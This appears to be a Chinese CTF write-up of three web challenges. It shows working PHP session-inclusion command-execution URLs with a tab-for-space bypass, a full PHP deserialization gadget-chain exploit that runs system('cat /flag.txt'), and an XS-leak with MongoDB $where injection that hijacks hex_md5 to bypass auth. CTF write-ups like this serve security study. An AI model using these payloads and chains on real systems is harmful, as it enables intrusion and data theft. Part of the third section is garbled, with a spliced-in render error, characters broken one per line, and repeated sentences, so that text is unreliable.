安全检测 尝试用admin/admin登录,发现成功登录 输入一个百度的地址,发现跳转到了百度。 于是尝试能不能跳转到本地http://127.0.0.1发现无法跳转 网站很多都有一个admin后台目录,接着尝试能不能跳转到该目录 发现成功跳转 看到include123.php文件,于是接着跳转到该文件下面 发现了一些php代码 发现对get传的参数过滤了很多东西。本地文件包含,远程文件包含命令执行等基本都过滤了。 暑假做题的时候做到了一道类似的题,把这些都过滤了,他用的方法是用session文件包含,因为session是唯一一个没有文件后缀的文件。 因为过滤了很多,于是我用短标签进行命令执行。 http://127.0.0.1/admin/include123.php?u=/tmp/sess_cjm&cjm=<?=`pwd`;?> 记得改变cookie的PHPSESS值为cjm 当我继续执行命令的时候输入空格总是显示网站无法访问,崩溃了,于是我用\t进行绕过空格。 输入ls\t/成功执行命令,得到flag文件为getflag.sh http://127.0.0.1/admin/include123.php?u=/tmp/sess_cjm&cjm=<?=`ls\t/`;?> ezyii 入口函数getCommandLine() 利用 返回值可控的__call 和 字符串连接符 . ,将目标转向__toString, 在这里找到了可利用点,跟进 rewind 下面断点的地方又可以走向其他类中的 rewind 方法 跟进 read 方法 又要跳向其他类的 read 方法 找到可以利用的地方 exp
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
Package Manager 2021
buuctf上面有原题,搜索祥云杯。 D盾和seay扫描都被屏蔽了,无法扫描出可疑漏洞,只能代码审计 在pack.pug中发现使用了!{}而不是#{},表示其中内容不会被html转义,可能存在xss漏洞。 看到源码,发现用CSP做了非常严格的保护,基本无法做到xss.但是可以插入进行重定向。 查看init_db.ts。知道flag在admin用户的某个package内容中。我们需要用某种方式获得admin页面的内容。可以考虑xsleak 利用packages/list/?search的功能,发现虽然可以实现search的功能,但是并不能按照内容正则匹配搜出来 Package Manager 2021 buuctf上面有原题,搜索祥云杯。 D盾和seay扫描都被屏蔽了,无法扫描出可疑漏洞,只能代码审计 在pack.pug中发现使用了!{}而不是#{},表示其中内容不会被html转义,可能存在xss漏洞。
看到源码,发现用CSP做了非常严格的保护,基本无法做到xss.但是可以插入进行重定向。
查看init_db.ts。知道flag在admin用户的某个package内容中。我们需要用某种方式获得admin页面的内容。可以考虑xsleak
利用packages/list/?search的功能,发现虽然可以实现search的功能,但是并不能按照内容正则匹配搜出来
这里search参数可以是对象。而对于后端mongodb来说,我们是能利用{KaTeX parse error: Expected 'EOF', got '}' at position 13: regex: 'xxx'}?这样的查询进行正则搜索的。故访…regex]=^f就可以进行正则查询desscription了。这样就符合xsleak的思路了。 而具体leak的方法。我们使用object标签。它能在火狐环境下做到,如果object.data访问状态码200,就会触发onload事件。如果访问状态码404,就会触发onerror事件。我们根据这个差异性,就能利用search注出flag内容了。 并不是所有人都能提交url给admin。题目需要通过一个auth的检查 题目调用hex_md5处理密码与输入比对,我们需要输入admin密码的md5值才能通过校验。但是这是不可能做到的。所以这里需要利用另一个漏洞,污染或者说是劫持mongodb 的hex_md5函数。mongodb 的
w
h
e
r
e
查
询
,
本
质
上
就
是
在
执
行
m
o
n
g
o
d
b
的
j
s
语
句
。
所
以
我
们
只
要
能
做
where查询,本质上就是在执行mongodb的js语句。所以我们只要能做
where查询,本质上就是在执行mongodb的js语句。所以我们只要能做where查询,重新定义hex_md5函数。就能将其返回值控制住,让我们通过校验。 最终解题方法: 先注册并登录,插入我们重定向到自己server的内容。并记录下这个package的url后缀,如:http://xxx/packages/39d0d2bb4609b8d8358dab1a99557b64 然后让我们自己通过auth.首先抓包,并用burpsuite不断重放 (此处我把hex_md5返回值控制成202cb962ac59075b964b07152d234b70) 访问/auth提交token。直到显示通过auth就可以不再竞争了。 在自己服务器上用python3 -m http.server 80监听,从而让bot等会访问到我们的index.html 最后复制我们package的最后32位hash 39d0d2bb4609b8d8358dab1a99557b64 提交。此时bot就会访问我们的页面并被重定向到我们自己的页面,进行xsleak。我们多提交几次给bot,更新html中变量flag的内容,就能把全部flag leak出来。 此处VPS_IP需要设置为自己的VPS ip地址。index.html
|